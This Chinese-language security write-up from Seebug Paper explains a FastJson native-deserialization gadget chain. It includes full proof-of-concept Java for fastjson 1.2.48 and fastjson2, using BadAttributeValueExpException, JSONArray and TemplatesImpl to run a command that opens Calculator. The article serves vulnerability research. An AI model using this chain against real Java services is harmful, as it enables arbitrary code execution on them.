作者:Y4tacker
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
前言
這其實是我很早前遇到的一個秋招面試題,問題大概是如果你遇到一個較高版本的FastJson有什么辦法能繞過AutoType么?我一開始回答的是找黑名單外的類,后面面試官說想考察的是FastJson在原生反序列化當中的利用。因為比較有趣加上最近在網上也看到類似的東西,今天也就順便在肝畢設之余來談談這個問題。
利用與限制
Fastjson1版本小于等于1.2.48
Fastjson2目前通殺(目前最新版本2.0.26)
尋找
既然是與原生反序列化相關,那我們去fastjson包里去看看哪些類繼承了Serializable接口即可,最后找完只有兩個類,JSONArray與JSONObject,這里我們就挑第一個來講(實際上這兩個在原生反序列化當中利用方式是相同的)
首先我們可以在IDEA中可以看到,雖然JSONArray有implement這個Serializable接口但是它本身沒有實現readObject方法的重載,并且繼承的JSON類同樣沒有readObject方法,那么只有一個思路了,通過其他類的readObject做中轉來觸發JSONArray或者JSON類當中的某個方法最終實現串鏈
在Json類當中的toString方法能觸發toJsonString的調用,而這個東西其實我們并不陌生,在我們想用JSON.parse()觸發get方法時,其中一個處理方法就是用JSONObject嵌套我們的payload

那么思路就很明確了,觸發toString->toJSONString->get方法,
如何觸發getter方法
這里多提一句為什么能觸發get方法調用
因為是toString所以肯定會涉及到對象中的屬性提取,fastjson在做這部分實現時,是通過ObjectSerializer類的write方法去做的提取

這部分流程是先判斷serializers這個HashMap當中有無默認映射

我們可以來看看有哪些默認的映射關系
private void initSerializers() {
this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);
this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);
this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);
this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);
this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);
this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);
this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);
this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);
this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);
this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);
this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);
this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);
this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));
this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);
this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);
this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);
this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);
this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);
this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);
this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);
this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);
this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);
this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);
}
這里面基本上沒有我們需要的東西,唯一熟悉的就是MiscCodec(提示下我們fastjson加載任意class時就是通過調用這個的TypeUtils.loadClass),但可惜的是他的write方法同樣沒有什么可利用的點,再往下去除一些不關鍵的調用棧,接下來默認會通過createJavaBeanSerializer來創建一個ObjectSerializer對象

它會提取類當中的BeanInfo(包括有getter方法的屬性)并傳入createJavaBeanSerializer繼續處理
public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {
SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, (Map)null, this.propertyNamingStrategy, this.fieldBased);
return (ObjectSerializer)(beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this.createJavaBeanSerializer(beanInfo));
}
這個方法也最終會將二次處理的beaninfo繼續委托給createASMSerializer做處理,而這個方法其實就是通過ASM動態創建一個類(因為和Java自帶的ASM框架長的很“相似”所以閱讀這部分代碼并不復雜)

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod當中
它會根據字段的類型調用不同的方法處理,這里我們隨便看一個(以第一個_long為例)

通過_get方法生成讀取filed的方法

這里的fieldInfo其實就是我們一開始的有get方法的field的集合

private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
Method method = fieldInfo.method;
if (method != null) {
mw.visitVarInsn(25, context.var("entity"));
Class<?> declaringClass = method.getDeclaringClass();
mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method));
if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
}
} else {
mw.visitVarInsn(25, context.var("entity"));
Field field = fieldInfo.field;
mw.visitFieldInsn(180, ASMUtils.type(fieldInfo.declaringClass), field.getName(), ASMUtils.desc(field.getType()));
if (!field.getType().equals(fieldInfo.fieldClass)) {
mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
}
}
}
因此能最終調用方法的get方法
這里做個驗證,這里我們創建一個User類,其中只有username字段有get方法
public class User {
public String username;
public String password;
public String getUsername() {
return username;
}
}
在asm最終生成code的bytes數據寫入文件

可以看到在write方法當中password因為沒有get方法所以沒有調用getPassword,而username有所以調用了

組合利用鏈
既然只能觸發get方法的調用那么很容易想到通過觸發TemplatesImpl的getOutputProperties方法實現加載任意字節碼最終觸發惡意方法調用
而觸發toString方法我們也有現成的鏈,通過BadAttributeValueExpException觸發即可
因此我們很容易寫出利用鏈子
fastjson1
Maven依賴
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
fastjson2
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "y4tacker");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

為什么fastjson1的1.2.49以后不再能利用
從1.2.49開始,我們的JSONArray以及JSONObject方法開始真正有了自己的readObject方法

在其SecureObjectInputStream類當中重寫了resolveClass,在其中調用了checkAutoType方法做類的檢查

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2055/
暫無評論